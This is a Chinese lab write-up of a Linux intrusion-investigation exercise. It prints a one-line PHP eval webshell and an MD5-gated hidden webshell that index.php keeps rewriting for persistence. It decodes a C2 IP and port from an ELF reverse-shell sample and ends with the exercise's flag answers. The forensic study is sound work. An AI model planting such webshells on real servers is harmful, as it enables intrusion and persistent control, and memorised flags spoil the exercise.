玄机靶场通关笔记:第一章 应急响应 - Linux 入侵排查

作者:YaBingSec

一、题目概述

本题围绕一台 Linux Web 服务器的入侵痕迹展开,要求从站点目录、页面源码以及攻击者遗留的恶意文件中逐步还原攻击链,并回答五个问题。实际排查过程中,可以把线索分成三部分来看:一部分是 Web 目录中已经落地的一句话木马,另一部分是被业务页面反复写入的隐藏不死马,还有一部分是攻击者遗留的 ELF 木马文件,其中保存了外连控制端的地址和端口信息。

二、排查过程

最先确认的是 Web 目录中的异常 PHP 文件。站点目录内存在 1.php,文件内容非常短,只有一句 <?php eval($_POST[1]);?>。这类代码属于典型的一句话木马,攻击者只需要通过 POST 提交参数 1,就可以把任意 PHP 代码交给 eval 执行。从题目描述来看,第一问要求的是“web 目录存在木马,请找到木马的密码提交”,这里所说的“密码”本质上就是这类一句话木马的连接参数,因此可以确定第一问答案为 1

继续往下看,在站点目录中还能发现一个隐藏文件 .shell.php。这个文件的关键逻辑是先判断 $_POST["pass"] 的 MD5 值是否等于 5d41402abc4b2a76b9719d911017c592,判断成立后再执行 @eval($_POST[cmd])。 这说明它并不是简单的一句话木马,而是一个带口令校验的隐藏 WebShell。对这个 MD5 值进行还原后,可以得到明文是 hello,因此第二问“不死马密码”对应的答案就是 hello

拿到 .shell.php 之后,接下来要解决的问题是:这个文件是攻击者手工上传的,还是由站点中的其他代码自动生成的。对页面源码继续检查后,可以在 index.php 中看到 file_put_contents('/var/www/html/.shell.php', $code); 这一段逻辑。也就是说,.shell.php 并不是一次性落地的恶意文件,而是会被 index.php 持续写回,因此才表现出不死马的特征。由此可以确认,第三问要求提交的文件名就是 index.php

题目的后两问需要定位攻击者控制端信息。这里的关键线索来自攻击者遗留的 ELF 木马样本 shell(1).elf。对样本做静态分析后,可以提取出一段关键十六进制数据:68 0a 0b 37 15 68 02 00 0d 05 89 e1。其中 0a 0b 37 15 对应的就是 IP 地址 10.11.55.21,而后面的 0d 05 对应十进制端口 3333。结合木马行为来看,这两个值就是攻击者控制服务器的地址与监听端口,因此第四问答案是 10.11.55.21,第五问答案是 3333

三、关键证据汇总

步骤问题内容最终答案证据说明
1Web 目录木马密码11.php 内容为 <?php eval($_POST[1]);?>,口令实为参数名 1 [1]
2不死马密码hello.shell.php 中 MD5 值还原得到明文 hello [1]
3不死马生成文件index.phpindex.php 中存在写入 .shell.php 的逻辑 [1]
4黑客服务器 IP10.11.55.21shell(1).elf 中提取出对应 IP 常量 [1]
5黑客监听端口3333同一段网络结构数据中可恢复端口值 [1]

四、提交格式说明

在实际提交时,直接输入 1helloindex.php10.11.55.213333 并不能全部通过。结合交叉核对结果,可以确认该题在平台中的正确提交格式需要使用 flag{} 进行包裹。也就是说,虽然排查得到的原始答案如上所示,但真正提交到平台时,应当写成下面的形式。

步骤平台提交值
1flag{1}
2flag{hello}
3flag{index.php}
4flag{10.11.55.21}
5flag{3333}

五、结论

这道题的关键不在于单独找到某一个木马文件,而在于把几个看似分散的异常点串成一条完整的入侵链。攻击者先在 Web 目录中留下了一句话木马 1.php,随后又通过 index.php 持续写入隐藏文件 .shell.php 来实现持久化控制,最后再借助遗留的 ELF 木马暴露出其控制端地址 10.11.55.21 和监听端口 3333。 只要把这三部分线索对应起来,五个问题的答案就都能够顺利还原。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐